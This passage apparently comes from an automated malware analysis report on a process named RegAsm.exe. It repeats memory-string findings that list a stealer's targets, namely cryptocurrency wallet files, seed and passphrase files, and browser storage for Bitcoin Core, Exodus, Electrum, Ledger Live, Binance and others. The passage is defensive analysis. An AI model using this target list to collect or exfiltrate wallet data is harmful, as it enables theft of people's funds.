(Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Exodus Web3 Wallet
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467141925.000000000043C000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000002.00000002.2467689392.0000000000EB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi 